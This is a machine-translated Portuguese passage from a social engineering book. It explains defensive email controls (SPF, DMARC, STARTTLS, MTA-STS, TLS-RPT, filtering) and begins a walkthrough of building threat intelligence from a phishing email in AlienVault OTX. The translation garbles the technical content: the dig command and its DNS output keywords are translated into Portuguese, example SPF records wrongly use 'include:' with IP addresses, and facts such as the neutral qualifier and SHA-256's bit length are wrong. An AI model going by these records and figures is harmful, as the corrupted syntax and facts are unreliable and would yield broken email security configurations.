Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Embora algumas fontes descrevam o SPF como autenticador do remetente, é mais


apropriado descrever a estrutura como validando-a; se configurado para isso, o destinatário verificará
as informações do remetente nos campos 5322 e 5321 para autorizar os remetentes, conforme definido
no registro SPF. Se o registro estiver configurado para falha grave, o email falhará e, se estiver
configurado para falha temporária, o email será bem-sucedido.

Para ver como isso funciona, imagine que alguém falsifique um e-mail de um domínio. O
destinatário verifica o registro SPF e observa que o domínio de envio possui hard fail configurado; além
disso, o remetente não está listado no registro.
Além disso, a política SPF está definida para ser aprovada. Nesse caso, o e-mail não chegará ao
destino. Se não houvesse um registro SPF ou se a política estivesse definida como nenhuma ou
configurada para falha temporária, o email teria sido bem-sucedido.
Como o SPF não requer criptografia, o SPF e o DKIM são completos
secundários e não concorrentes. O SPF é baseado em lógica, pois compara os valores recebidos
com uma lista. O host, domínio ou endereço IP está no registro ou não. O DKIM emprega lógica e
criptografia na forma de assinaturas digitais. Você pode ler mais sobre o SPF na RFC 7208, que o
introduziu em 2014.

Implementando SPF

Vamos implementar o SPF no Google Workspace. Comece determinando quaisquer provedores de


serviços, como Google ou Outlook, e os domínios associados com permissão para enviar e-mails
em nome de sua organização. (Você pode especificar esses domínios no registro MX.) Se estiver
executando um servidor de e-mail interno, como o Exchange, determine também os blocos de rede
autorizados a enviar e-mails em nome da organização.

Então, para esses domínios e endereços IP, escolha uma política para vários
situações:

Passar (+) Permite a passagem de todos os e-mails (não recomendado, a menos que seja para
uma breve solução de problemas)

Nenhuma política (?), neutra Significa essencialmente nenhuma política

Falha suave (~) Em algum lugar entre falha e neutro; geralmente esses e-mails são aceitos,
mas marcados

Falha grave (-) Rejeita o e-mail

Como backups, você pode configurar algo como +todos (não recomendado, pois permitiria
todos os e-mails), +mx (permite e-mails do host listado no registro MX; não recomendado se estiver
usando e-mail na nuvem como Google ou Office 365), ou +nostarch.com (que permitiria e-mails de
nostarch.com).
Depois de ter essas informações, você estará pronto para criar o registro. Para começar,
navegue até o editor DNS do seu provedor de hospedagem e crie um novo registro TXT. Como
alternativa, edite quaisquer registros TXT existentes que tenham v=spf1 no corpo, conforme mostrado
aqui:

cavar walmart.com txt

; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> walmart.com txt

156 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

;; opções globais: +cmd


;; Obtive resposta:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6907
;; bandeiras: qr rd ra; CONSULTA: 1, RESPOSTA: 15, AUTORIDADE: 0, ADICIONAL: 1

;; OPTAR PSEUDOSECÇÃO:
; EDNS: versão: 0, sinalizadores:; UDP: 65494
;; SEÇÃO DE PERGUNTAS:
;walmart.com. EM TXT

;; SEÇÃO DE RESPOSTA:
walmart. com. 300 EM TXT "v=spf1
incluem:_netblocks.walmart.com incluem:_smartcomm.walmart.com
incluem:_vspf1.walmart.com incluem:_vspf2.walmart.com
incluem:_vspf3.walmart.com ip4:161.170.248.0/24 ip4:161.170.244.0/24 ip4 :161.170.241.16/30
ip4:161.170.245.0/24 ip4:161.170.249.0/24" "~todos"
--recorte--
;; Tempo de consulta: 127 ms
;; SERVIDOR: 127.0.0.53#53(127.0.0.53)
;; QUANDO: terça-feira, 08 de setembro, 05:42:49 UTC
;; Tamanho do MSG obtido: 1502

Defina o valor do tempo de vida (TTL) para o padrão de 14.400. O valor TTL
é o tempo que os resolvedores recursivos de DNS têm para armazenar em cache
nosso registro SPF antes de baixar um novo (se ele tiver sido alterado). Algumas
coisas, como ativos críticos e balanceadores de carga, funcionam melhor com um TTL
muito pequeno. Recomenda-se que ativos que não devem mudar com frequência ou
que tenham redundância incorporada (como registros MX) tenham valores TTL maiores.
O objetivo é tentar combater técnicas como fluxo rápido ou registros DNS dinâmicos
comumente usados em campanhas sofisticadas de phishing e ataques contra sites de mídia social.
Em seguida, nomeie o registro TXT com o nome do domínio da organização. Para o
texto real, insira v=spf1, seguido dos mecanismos e da política, conforme discutido
anteriormente. Para definir esses mecanismos, você precisará conhecer os cinco tipos de
campos permitidos:

ip4 Endereço IPv4 ou intervalo CIDR

endereço ip6 IPv6

mx O registro MX do remetente no DNS

um registro de endereço para host no DNS

include Faz referência à política de outro domínio

Agora, construa a string para inserir no DNS. Digamos que você permitirá hosts
usando o registro MX do nostarch.com , além do MailChimp e um intervalo de endereços
IP privado e não roteável, com falha grave. O texto a ser inserido no DNS ficaria assim:

v=spf1 +mx inclui:192.168.1.22 inclui:192.168.2.0/24 inclui:servers.mcsv.net -all

Você poderia escrever esse disco de uma forma alternativa também. No Capítulo 4,
você aprendeu que o No Starch usa o Google Workspace, então você pode substituir

Controles Técnicos de E-mail 157


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

a parte +mx com os servidores do Google (que pode ser encontrada no painel do
Workspace). Para manter isso em uma linha, você removerá o mecanismo de inclusão
do MailChimp SPF . A entrada alternativa ficaria assim:

v=spf1 include:_spf.google.com include:192.168.1.22 include:192.168.2.0/24 -all

Depois de colar isso no registro DNS, aguarde até 72 horas para que ele se
propague. Leva algum tempo para que os vários servidores DNS na Internet copiem as
informações atualizadas. Esse tempo depende muito dos tempos TTL, que direcionam
os servidores para armazenar informações em cache por um período de segundos
antes da atualização. Na minha experiência, o SPF pode tornar-se válido quase
imediatamente, ao contrário do DKIM. Quer você use o Google como seu provedor de e-
mail ou não, ainda poderá usar o site Google Admin Toolbox Check MX para validar as
informações fornecidas. Você pode encontrar a caixa de ferramentas em https:// toolbox.googleapps
.com/ apps/ checkmx/. Você pode encontrar instruções para configurar o SPF em outras
plataformas em http:// email-security.seosint.xyz.

Deficiências do FPS
Lembre-se do Capítulo 4 que o SPF permite que invasores enumere domínios, endereços
IP e intervalos de endereços IP que uma organização possui ou usa. Os invasores
também podem saber se o alvo tem falha grave ou falha suave configurada, verificando
a opção -all (falha grave), ~all (falha suave) ou ~? (neutra) parte do registro TXT. Essas
informações podem influenciar a decisão deles sobre falsificar o domínio da sua
organização ou talvez ocupar algo semelhante. Um engenheiro social detalhista pode
até configurar DKIM e SPF em seu domínio de phishing para ignorar quaisquer
verificações que uma organização possa ter em vigor, caso ela esteja realmente aplicando
alguma política.
O SPF também pode alertar os invasores sobre suas relações de trabalho com
outras organizações. Se outros domínios precisarem de autoridade para enviar e-mails
em seu nome, talvez seja necessário criar registros SPF para eles. Exemplos de domínios
que precisarão de permissão para enviar e-mails em nome de uma organização são
listas de e-mail como MailChimp, Mailgun ou Constant Contact. Considere também
outros provedores que enviam e-mails em nome da organização, como GoToMeeting ou
plataformas de colaboração semelhantes.
O aspecto final do SPF não é uma vulnerabilidade, mas sim uma deficiência.
Assim como o DKIM, o SPF é bom de implementar e pode proteger a reputação de uma
organização, mas somente se o servidor de e-mail do destinatário estiver configurado
para verificar os registros SPF e impor a política definida. Não fazer isso, entretanto,
pode prejudicar a reputação da sua organização.

Autenticação, relatórios e conformidade de mensagens baseadas em domínio


O DMARC pega as implementações existentes de SPF e DKIM e as utiliza para criar
uma solução mais robusta para evitar falsificação, comprometimento de e-mail comercial
e danos à reputação. Introduzido pela primeira vez como padrão da Internet em 2015
(RFC 7489), ele busca superar as limitações do SPF e do DKIM: implementa ambos
os padrões anteriores, mas também relata sucessos e falhas ao domínio de envio. DMARC
verifica o alinhamento de um e-mail ou

158 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


se o campo 5322.From corresponde aos nomes de domínio autenticados. Em outras palavras, ele
verifica se um e-mail com um campo De afirmando ser de info@nostarch.com na verdade
originou-se desse domínio. Um e-mail pode passar no SPF e no DKIM, mas falhar no alinhamento.

Aqui está o que acontece quando uma comunicação usa DMARC. Primeiro, um usuário
escreve um email. O servidor de envio de e-mail insere um cabeçalho DKIM nele e o envia ao
destinatário. A partir daí, para que o e-mail atravesse uma organização com uma política DMARC
implementada, duas coisas devem acontecer. Primeiro, o e-mail deve passar pelas verificações
de assinatura DKIM (5322.From, com validação por meio de uma chave pública contida no DNS).
Em segundo lugar, ele deve passar nas verificações SPF (5322.From) e nos registros TXT.
Dependendo do resultado dessas verificações, o registro DMARC especificará que o servidor deve
aceitar ou rejeitar o email. Haverá relatórios para falhas.

O e-mail passa por algum processo ou filtro determinado pelo destinatário e, se tudo passar, ele
chega na caixa de entrada do destinatário.
DMARC é amplamente utilizado. Várias estruturas de conformidade exigem isso,
juntamente com agências federais dos EUA, conforme determinado pela Diretiva Operacional
Vinculativa 18-01 do Departamento de Segurança Interna. Se você acompanhar os materiais de
marketing dos fornecedores, poderá se lembrar da enxurrada de fornecedores que usaram esta
diretiva para vender DMARC e ferramentas de segurança de e-mail em 2017. Mas essas
implementações são inúteis sem uma política aplicada ou uma configuração técnica que direcione
as ações para que ocorram com o mínimo intervenção humana. Além disso, o destinatário deve
realmente verificar os registros e aplicar a política em vigor.

Existem duas RFCs para atualizar o DMARC: RFC 8553, que aborda usando
sublinhados em nomes de nós; e RFC 8616, que aborda o uso de caracteres ASCII em SPF,
DKIM e DMARC quando não abordam caracteres usados internacionalmente.

Implementando DMARC

Antes de implementar o DMARC, você deve implementar o SPF e o DKIM.


Então você precisará coletar as informações para colocar no registro TXT. Você pode encontrar o
formato de registro completo definido na Seção 6.3 da RFC 7489, mas precisará do seguinte,
no mínimo:

A versão do DMARC (v) A versão do DMARC em uso. Atualmente é 1, indicado por v=DMARC1.

A política (p) A política a ser aplicada a um determinado domínio.

A política de subdomínio (sp) Política aplicável apenas a subdomínios do domínio


remetente, como e-mails de info@us.nostarch.com
mas não info@nostarch.com. Na ausência de um campo sp ou qualificador, a organização
aplicará o campo p principal.

A porcentagem de “e-mails inválidos” aos quais a política será aplicada (pct) Um


número entre 0 e 100 que determina a porcentagem de e-mails de um proprietário de
domínio aos quais a política será aplicada.

A tag rua O endereço de e-mail para o qual os relatórios são enviados. Os coletores OSINT
podem ler e transformar isso em arma, portanto, um alias é recomendado.

Controles Técnicos de E-mail 159


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Todos os campos do registro DMARC, exceto a versão, exigem qualificação


fogos. Por exemplo, o campo de política aceita nenhum, quarentena ou rejeição.
O qualificador none não executa nenhuma ação, enquanto a quarentena redireciona o e-mail para
ser colocado em pastas de spam ou enviado aos administradores, e rejeitar rejeita o e-mail.

Você também pode adicionar opções de relatórios forenses e um endereço para encaminhamento
relatórios forenses. A tag de relatório de falha forense (fo) determina quais eventos gerarão
relatórios forenses. Possui quatro opções: 0, que cria um relatório de falha caso todos os mecanismos
falhem; 1, que cria um relatório de falha caso algum mecanismo falhe; d, que cria um relatório de
falha do DKIM se o DKIM falhar, independentemente do alinhamento; e s, que cria um relatório de
falha do SPF se o SPF falhar, independentemente do alinhamento. A tag ruf especifica o endereço
de e-mail para o qual os relatórios forenses são enviados. Assim como a tag rua , os coletores OSINT
podem ler e transformá-la em arma, então use um alias.

Dois campos adicionais, adkim e aspf, determinam se o proprietário requer o modo de


alinhamento, que determina as ações a serem tomadas se o e-mail falhar no SPF ou DKIM. Ambos
têm valores possíveis de r para relaxado e s para estrito.
Relaxado requer uma correspondência exata apenas para o domínio, enquanto estrito requer uma
correspondência exata completa para ser aprovado. Ambos os valores são opcionais e, por padrão,
definidos como relaxados.

Isso pode parecer muita informação. Para colocá-lo em uso, vamos configurar um registro
DMARC para nostarch.com:

v=DMARC1; p=quarentena;pct=95; rua=mailto:dmarc@nostarch.com; fo=1; ruf=mailto:soc@nostarch.com;

Este registro possui uma política de quarentena apenas para domínios. Aplica-se a 95% dos e-
mails, e qualquer falha causa relatórios forenses, com os relatórios forenses indo para soc@nostarch.com.
Você definirá o endereço de e-mail para receber os relatórios gerais do DMARC para dmarc@nostarch.com.

Depois de redigir isso, você deve adicioná-lo a um registro TXT no arquivo nostarch.com.
Arquivo de zona DNS com o nome dmarc e um TTL de 14400.

Deficiências do DMARC

Além das mesmas divulgações de informações presentes no SPF e do fato de que os destinatários de
seu e-mail podem não verificar SPF ou DKIM, o próprio DMARC não apresenta problemas ou
vulnerabilidades significativas.
Dito isso, a simples criação de registros DNS TXT para DMARC não torna você seguro
imediatamente. Por exemplo, você poderia facilmente configurar incorretamente sua implementação
DMARC. Ao configurar inicialmente o DMARC, evite rejeitar e-mails, pois isso elimina a capacidade de
humanos revisarem a validade do e-mail e pode causar interrupções nos negócios ou comunicações
mal direcionadas.

Mitigar isso é simples: comece definindo a política DMARC inicial como nenhuma e revise 100%
dos e-mails (p=nenhum; pct=100;). À medida que o tempo avança, diminua o campo pct
gradativamente até que você se sinta confortável com os relatórios e o desempenho. Depois de atingir
um bom nível, altere a porcentagem de revisão para um valor administrável, mas realista. Eu
recomendo

160 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

60 a 85 por cento para empresas, dependendo dos seus recursos. Em seguida, atualize o
registro DMARC TXT para refletir isso (p=quarentena; pct=75;).
Tenha em mente que os atores que usam e-mail para tentar obter acesso à
empresa da sua organização podem aproveitar ferramentas para aumentar sua
legitimidade, portanto, não confie apenas em SPF, DKIM e DMARC. Por exemplo, se
um ator comprometer outra organização com SPF, DKIM e DMARC configurados e,
em seguida, enviar um e-mail à sua organização através de canais legítimos, ele passará
em todas as verificações associadas a esses três padrões.
Outro vetor de ameaça não abordado pelo DMARC é a criptografia. Os três
padrões não fornecem meios para criptografar e-mails. Claro, o DKIM usa criptografia,
mas apenas para assinar e-mails. As próximas seções abordam como abordar essa
lacuna.

TLS oportunista Quando

originalmente projetados, os protocolos de correio SMTP, POP e IMAP não incluíam


criptografia. À medida que os ataques evoluíram, os pesquisadores criaram o
Opportunistic Transport Layer Security (TLS) para criptografá-los. Às vezes, você o
verá com o nome de STARTTLS, após o comando usado para iniciar o serviço.
Veja como funciona o STARTTLS. Primeiro, o servidor de envio se conecta ao
servidor de recebimento normalmente. Em seguida, ele solicita SMTP estendido, que
permite imagens e anexos. A partir daqui, o remetente pergunta ao servidor destinatário
se ele suporta STARTTLS. Se a resposta for sim, a conexão é reiniciada e criptografa
o email usando a versão do protocolo SSL ou TLS acordada por ambos os hosts. Se
a resposta for não, o e-mail continua sem criptografia.
Outra variante, chamada Enforced TLS, não permitirá o envio do e-mail a menos que
a conexão seja segura. O uso do Enforced TLS não é amplamente adotado devido
à possibilidade de bloqueio de correio pela impossibilidade de negociar a criptografia.

O maior problema do STARTTLS é que ele é oportunista, o que significa que


usa criptografia apenas se disponível. Na ausência de criptografia disponível ou suporte
para ela, a mensagem será enviada em texto simples. Outro problema com o STARTTLS
é que o próprio handshake de criptografia ocorre em texto simples, o que permite que
possíveis invasores roubem as informações da sessão ou modifiquem as mensagens por
meio de ataques man-in-the-middle. Você pode ver esses dois problemas explorados em
ataques STRIPTLS, em que um invasor desativa o comando STARTTLS real ou faz
parecer que o TLS não está disponível. Ao configurar o SMTP para exigir TLS para
conexões de saída, você pode mitigar o STRIPTLS, mas poderá perder serviços de e-
mail de saída se configurar incorretamente o TLS ou se o destinatário não estiver
configurado para receber e-mails TLS/bloquear a porta.

Outra mitigação do STRIPTLS existe em uma função subordinada de Extensões


de Segurança do Sistema de Nomes de Domínio (DNSSEC) chamada Autenticação
de Entidades Nomeadas baseada em DNS (DANE). A implementação do DANE exige
que as organizações criem um registro DNS que direcione todas as comunicações em
uma porta ou protocolo específico para negociar a sessão usando uma chave pública
colocada no DNS. Isso também pode ser mal utilizado ou coletado como parte de um OSINT

Controles Técnicos de E-mail 161


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

esforço, como acontece com qualquer coisa em entradas DNS públicas, já que um
adversário pode consultar registros DNS e fazer inferências a partir das entradas. Embora
esta mitigação em si seja simples de implementar, o DNSSEC em geral não o é, por
isso não vimos a sua adoção generalizada.
Na mesma época em que o DANE estava sendo desenvolvido, uma solução
diferente para o mesmo problema (STRIPTLS) estava sendo elaborada: SMTP MTA Strict
Transport Security (MTA-STS).

MTA-STS
SMTP MTA Strict Transport Security (MTA-STS) é outra maneira de implementar TLS para
proteger comunicações por e-mail. Nesse método, as duas partes negociam o handshake
TLS usando registros DNS TXT, bem como arquivos carregados em diretórios específicos
em um subdomínio predefinido e acessível ao público do domínio de envio.

Este padrão se aplica apenas ao tráfego SMTP entre servidores de correio. O


a comunicação entre cliente e servidor é realizada usando HTTP Strict Transport Security
(HSTS). Devido à complexidade da implementação do MTA-STS, não abordarei o processo aqui.
Você pode encontrar links para tutoriais em http:// email-security.seosint.xyz.

TLS-RPT
O Relatório SMTP TLS (TLS-RPT) é um método de coleta de estatísticas sobre possíveis
falhas ao negociar TLS e domínios associados. Pense nisso como comparável ao DMARC,
se o MTA-STS fosse o elemento DKIM. Você pode usar essas informações para solução
de problemas ou inteligência sobre ameaças.
Configurar o TLS-RPT é relativamente fácil, pois requer apenas um registro DNS TXT
com _smtp._tls. domain.tld e um endereço de relatório no corpo. Se ocorrer um erro com
um e-mail usando um método criptografado (DANE ou MTA STS), o e-mail de relatório
receberá uma notificação. A seguir está um exemplo para nostarch.com:

_smtp._tls.nostarch.com 300
"v=TLSRPTv1;rua=mailto:soc@nostarch.com"

A linha superior é o nome do campo e o TTL. A segunda linha é o valor.


Aqui, definimos o TTL para 300 e reportamos para soc@nostarch.com.

Tecnologias de filtragem de e-mail


A etapa final para alcançar a segurança de e-mail Zen é usar tecnologias de filtragem.
Isso normalmente significa contratar um fornecedor ou prestador de serviços para
receber seus e-mails antes de você. O fornecedor irá examiná-los em busca de padrões
observados em todos os clientes e verificar SPF, DKIM e DMARC, se configurados. A
filtragem de e-mail não é perfeita, mas elimina grande parte da carga da equipe técnica.
Tenha em mente, porém, que contratar um fornecedor irá

162 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

provavelmente exigirão que você faça alterações em seus registros DNS públicos, e você
poderá descobrir esses relacionamentos usando técnicas OSINT, conforme discutido
anteriormente.
Muitas configurações e produtos estão disponíveis. Ao escolher um fornecedor,
considere o rendimento de e-mails por minuto ou segundo. Decida também se deseja manter
a filtragem de e-mail por meio de software, dispositivo ou serviço em nuvem. Cada opção
apresenta desafios únicos, especialmente no que diz respeito à implementação, suporte,
disponibilidade e relatórios, e cada uma oferece recursos diferentes. A filtragem de e-mail
pode ser mais fácil de implementar em instâncias de nuvem, pois protegeria melhor a
disponibilidade do e-mail. No entanto, qualquer decisão que exija configuração, especialmente
além dos registros DNS, pode oferecer oportunidades de falha, interrupção ou segurança
deficiente. Se você optar por usar um provedor de nuvem, também dependerá do SLA e
do seu contrato com o fornecedor. Dito isto, simplificam o processo; você será responsável
apenas por atualizar seu registro MX no arquivo de zona DNS e selecionar as opções
adequadas.

Alguns fornecedores também manterão e gerenciarão suas implementações SPF,


DKIM e DMARC para você. Pese os riscos do que poderia ocorrer para interromper o
sistema em relação ao que você ganha com o uso do sistema. O fornecedor fornece
inteligência sobre ameaças? É neste serviço que o fornecedor é especializado? O que o
contrato implica?

Outras proteções
Como profissionais de segurança, devemos construir os nossos sistemas para que
possam não só lidar com o uso normal, mas também resistir ao abuso de uma forma que
contenha as ações durante tempo suficiente para que possamos detetá-las e responder-
lhes. Este é o cerne do livro de Winn Schwartau, Time Based Security (Impact PR, 1999).
Ao proteger seus sistemas contra phishing, considere implementar controles além
daqueles usados exclusivamente para e-mail. Embora não os discutamos neste capítulo,
implemente proteção contra malware, seja antivírus, detecção e resposta de endpoint (EDR)
ou qualquer outro produto antimalware.
A maior parte do malware chega às redes por e-mail quando os usuários o baixam de um
phishing bem-sucedido.
Duas outras tecnologias podem evitar resultados catastróficos de phishing:
sistemas de monitoramento de integridade de arquivos (FIM) e prevenção de perda de
dados (DLP). FIM monitora um conjunto de arquivos para modificação. Você poderia
escrever uma solução FIM simples que pegasse um hash criptográfico de cada arquivo e o
armazenasse em algum lugar. Em seguida, validaria se os arquivos não foram alterados
e, em caso afirmativo, verificaria se a alteração foi autorizada. Isto é importante para
detectar agentes maliciosos que já estão na rede. Se o conteúdo do arquivo for alterado
sem autorização, isso pode indicar novos aplicativos em execução ou sendo instalados,
ransomware ou alguém adulterando arquivos importantes.

O DLP visa impedir que os usuários enviem arquivos por e-mail para fora da organização,
carreguem arquivos na Internet pública e em sites de compartilhamento de arquivos (como
Google Drive, Box e DropBox) e salvem dados em dispositivos USB não autorizados.

Controles Técnicos de E-mail 163


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

(se houver). Muitas soluções DLP também têm a capacidade de impedir que os usuários
compartilhem dados confidenciais ou regulamentados, como dados do setor de cartões de
pagamento (PCI), PHI e PII. Isto é importante porque evita que os usuários entreguem
segredos comerciais, propriedade intelectual e joias da coroa. Isso também elimina muitos dos
motivos pelos quais eles teriam que conectar uma unidade USB em suas estações de
trabalho, reduzindo a probabilidade de um ataque de isca bem-sucedido.

Conclusão
Neste capítulo, você tomou medidas para tornar sua organização um pouco mais segura. Você
aprendeu sobre os três padrões de segurança de e-mail que visam coibir a falsificação de e-
mail, bem como as deficiências de cada um. (Se você é como eu, desenvolveu um ódio
especial pelas letras RFC.)
Usando as informações deste capítulo, você pode aplicar os conceitos e padrões à sua
organização para criar camadas de defesa. Talvez seja necessário explicar à gerência que SPF,
DKIM e DMARC não são soluções absolutas para phishing e que, mesmo quando estiverem
em vigor, a organização deve considerar a instalação de mais controles, como soluções de
filtragem de e-mail.
Depois que a organização escolher a solução de filtragem de e-mail que melhor se adapta
às suas necessidades de conformidade e orçamento, reserve um tempo para implementar a
solução adequadamente. Em seguida, teste-o com simulações de phishing. Se as simulações
forem detectadas, ótimo. Em seguida, você poderia liberá-los da quarentena para testar os usuários.
Se as simulações forem bem-sucedidas, trabalhe com o fornecedor para determinar por que e
como resolver o problema.

164 Capítulo 11
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

12
PRODUZINDO AMEAÇA
INTELIGÊNCIA

Portanto, sua organização se defendeu contra uma


ameaça de phishing. Parabéns! Agora, como você
repete esse resultado quando confrontado com
ataques futuros? A sua organização deseja
compartilhar essa inteligência com outras organizações? A
sua organização irá capturar e armazenar dados sobre esta
tentativa para evitar novas tentativas? Você registrará qualquer
código do kit de exploração encontrado nos e-mails de phishing
usados para espalhar um dropper de malware e, por fim, ransomware?
Quando ocorre um incidente, três coisas úteis devem acontecer. Primeiro, a
organização deve automatizar a resposta da organização usando software que
bloqueie proativamente o ataque ou execute um script para interromper um
incidente em andamento. Em segundo lugar, a organização poderia coletar
informações sobre cada ataque para diminuir o tempo futuro de detecção e
resposta. Finalmente, a organização poderia compartilhar partes dessas
informações com outras organizações, permitindo que todos reduzissem os tempos de detecção
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Embora alguns feeds de inteligência sobre ameaças sejam óleo de cobra, muitos
são produtos legitimamente úteis. Mas depender apenas de outra pessoa para
fornecer inteligência à sua organização, para ajudar a defender o ambiente que a
organização construiu e pelo qual é responsável, é ingénuo. Embora receber contributos
de especialistas que têm conhecimento das tendências e dos intervenientes seja uma
medida acertada, não deve ser a única.
Neste capítulo, percorreremos o processo de criação de inteligência contra ameaças
sobre um e-mail de phishing usando uma plataforma gratuita de compartilhamento de
inteligência: AT&T Alien Labs OTX, às vezes ainda chamada de AlienVault OTX.
Também reutilizaremos muitas das técnicas OSINT que você aprendeu anteriormente neste
livro, desta vez com o propósito muito diferente de verificar se uma URL ou e-mail é
malicioso.
Antes de prosseguir, recomendo configurar uma máquina virtual.
Dessa forma, você pode evitar a abertura de arquivos anexados e prevenir possíveis
infecções por malware em sua estação de trabalho.

Usando Alien Labs OTX


Alguns fornecedores de inteligência contra ameaças cobram da organização para
consumir inteligência sobre ameaças, enquanto outros cobram da organização para produzi-
la. Mas um fornecedor que é universalmente gratuito e permite que qualquer pessoa
contribua é a AT&T Cybersecurity. Anteriormente conhecida como AlienVault, esta empresa
administra a plataforma Alien Labs Open Threat Exchange (OTX), que permite assinar
feeds de inteligência e publicar suas próprias informações.
É certo que seu principal ponto forte (o fato de ser gratuito) também é seu principal
ponto fraco, mas um ponto positivo é que você não precisa consumir nenhuma inteligência
só porque está na plataforma; você deve selecionar quais feeds deseja seguir e assinar (de
graça).
Se uma organização usar o Unified Security Monitoring (USM) da AT&T
Cybersecurity ou o Open Source SEIM (OSSIM) como SEIM, a organização poderá
inserir diretamente os pulsos que você assina no USM sincronizando o SEIM com a
API OTX. Se a organização não estiver usando USM, ela poderá conectar diretamente
OTX com Suricata, Bro e Trusted Automated Exchange of Indicator Information (TAXII);
caso contrário, poderá usar as APIs Java, Python ou Go.

Depois que a organização tiver os indicadores no formato desejado, ela poderá procurá-
los imediatamente usando o método de sua escolha – scripts personalizados, YARA, STIX,
TAXII ou algo semelhante.
Isso permitirá que a organização identifique e responda a ameaças conhecidas.

Analisando um e-mail de phishing em OTX


E quanto às ameaças que apenas a sua organização observou? Como sua organização
pode detectar melhor tentativas futuras e possivelmente salvar outras

166 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

organizações das mesmas dores de cabeça mais tarde? Aqui está a resposta simples:
produza inteligência sobre ameaças.
Saber por onde começar é uma das barreiras significativas à entrada. Como este é um
único capítulo de um livro sobre engenharia social e OSINT, pouparei você das justificativas
filosóficas para a produção de inteligência sobre ameaças.
Em vez disso, vamos fazer um exercício.
Primeiro, você precisa de alguns dados sobre os quais produzir inteligência.
Pode ser um e-mail, um site ou um arquivo. Para cobrir todos os três aspectos, vamos
supor que a organização receba um e-mail direcionando os usuários a um site que solicita
que eles insiram credenciais e, em seguida, baixe e tente executar um arquivo quando
o usuário enviar as credenciais. Você pode usar o arquivo chamado fatura.eml no
repositório GitHub em https:// cti.seosint.xyz.

Criando um pulso
Faça login no OTX e selecione Criar Pulso no painel do OTX, que é onde você chegará
sempre que fizer login (Figura 12-1). No OTX, um pulso é um conjunto de indicadores de
comprometimento de um ataque específico.

Figura 12-1: Painel OTX

Deverão ser apresentadas algumas opções para criar o pulso (Figura 12-2).
Você pode importar um texto ou um site ou inserir os indicadores manualmente.

Produzindo Inteligência de Ameaças 167


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-2: Criando um pulso no OTX

Vamos começar copiando e colando toda a fonte do e-mail.

Analisando a fonte do e-mail


Gosto de usar o Thunderbird para visualizar a fonte do email. É um cliente de e-mail
gratuito e de código aberto mantido pela Mozilla. Depois que o Thunderbird estiver
instalado e em execução, você poderá importar todos os e-mails salvos para OTX no
formato .eml e começar a analisar. No Thunderbird, primeiro abra o email. Em seguida,
no canto superior direito, selecione MoreÿView Source (Figura 12-3).

Figura 12-3: Visualizando a origem de um e-mail no Thunderbird

168 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois que o e-mail for aberto como fonte, você deverá ver algo como
o trecho na Figura 12-4. Esta é a trilha subjacente de dados que são transmitidos
quando você envia um e-mail, incluindo todas as verificações realizadas e a origem e
os destinos do e-mail. Você pode visualizar qualquer e-mail para download dessa forma,
às vezes até no próprio cliente de e-mail. Por exemplo, no Gmail, você clica nos três
pontos no canto superior direito de um e-mail e seleciona Mostrar original.

Figura 12-4: A origem de um e-mail de phishing

É importante visualizar a origem de um e-mail. Isso permite que você veja de


onde realmente veio um e-mail, em vez de depender de um endereço de origem
potencialmente falsificado. Você verá o endereço de e-mail real e o endereço de
e-mail falsificado, bem como o endereço IP do remetente.
Ao copiar e colar este e-mail no Pulse, tome cuidado para não incluir o endereço
IP do seu servidor de e-mail ou quaisquer outros endereços pertencentes a
fornecedores de e-mail respeitáveis. Se você adicioná-los e começar a pesquisar,
receberá um número esmagadoramente alto de falsos positivos que, se não forem
ajustados, gerarão complacência.

Inserindo Indicadores
Agora que você obteve as informações da fonte, está pronto para importar alguns
indicadores. Indicadores são pontos de dados relacionados à atividade que você
está capturando no pulso. A Tabela 12-1 lista os indicadores que o OTX aceita.

Tabela 12-1: Indicadores Aceitos pela OTX

Tipo de indicador Descrição

IPv4 O endereço IPv4 do servidor de e-mail de origem ou site que hospeda


o phishing ou malware
IPv6 O endereço IPv6 do servidor de e-mail de origem ou site que hospeda
o phishing ou malware
Domínio O domínio do servidor de e-mail de origem ou site que hospeda o phishing
ou malware

(contínuo)

Produzindo Inteligência de Ameaças 169


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Tabela 12-1: Indicadores Aceitos pela OTX (continuação)

Tipo de indicador Descrição

nome de anfitrião O nome do host ou subdomínio do servidor de e-mail de origem ou site que hospeda o
phishing ou malware

E-mail O endereço de e-mail de origem

URL O Uniform Resource Locator do site que hospeda o phishing ou malware

TIPO O Identificador Uniforme de Recursos da localização precisa no site que hospeda o


phishing ou malware

Hash de arquivo A representação criptográfica unidirecional do arquivo malicioso contido no e-mail


de phishing. Isso pode ser feito em vários formatos, incluindo estes:

• MD5: representação criptográfica de 128 bits de um arquivo usando o


Algoritmo de Resumo de Mensagem 5

• SHA-1: representação criptográfica de 160 bits de um arquivo usando


o algoritmo de hash seguro

• SHA-256: representação criptográfica de 256 bits de um arquivo


usando o algoritmo Secure Hashing de 265 bits

PEHASH Método de hash executável portátil (peHash) de hash difuso, que em vez de fazer
o hash de todo o arquivo, realiza o hash byte por byte, pegando várias variáveis de
dentro do executável e fazendo hash delas.

IMPASH Importar Hash; semelhante ao peHash, mas rastreia as DLLs e outros arquivos que o
código importa

CIDR O endereço de roteamento entre domínios sem classe do intervalo de endereços IP da


rede que um domínio possui, expresso como um IP base e o número de sub-redes
